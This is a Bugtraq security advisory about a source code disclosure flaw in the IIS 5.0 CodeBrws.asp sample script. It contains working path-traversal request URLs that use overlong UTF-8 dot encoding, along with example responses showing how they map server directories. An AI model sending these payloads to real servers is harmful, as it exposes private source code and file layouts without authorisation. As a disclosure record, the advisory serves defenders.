Microsoft IIS CodeBrws.ASP Source Code Disclosure Vulnerability

Bugtraq ID:	4525
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 16 2002 12:00AM
Updated:	Apr 16 2002 12:00AM
Credit:	Discovery of this issue is credited to H D Moore <[email protected]>.
Vulnerable:	Microsoft IIS 5.0 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server SP1 + Microsoft Windows 2000 Advanced Server + Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 + Microsoft Windows 2000 Professional + Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 + Microsoft Windows 2000 Server + Microsoft Windows 2000 Server
Not Vulnerable:

Microsoft IIS CodeBrws.ASP Source Code Disclosure Vulnerability

This vulnerability may be exploited with a web browser. The following example is provided:

http://target/iissamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/default.asp

The following example was also provided to demonstrate that the directory structure may be mapped out using this vulnerability:

Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/bogus_directory/nonexistent.asp

Response: Microsoft VBScript runtime (0x800A004C) Path not found

Request:
http://target/IISSamples/sdk/asp/docs/CodeBrws.asp?Source=/IISSAMPLES/%c0%ae%c0%ae/%c0%ae%c0%ae/oracle/nonexistant.asp

Response: Microsoft VBScript runtime (0x800A0035) File not found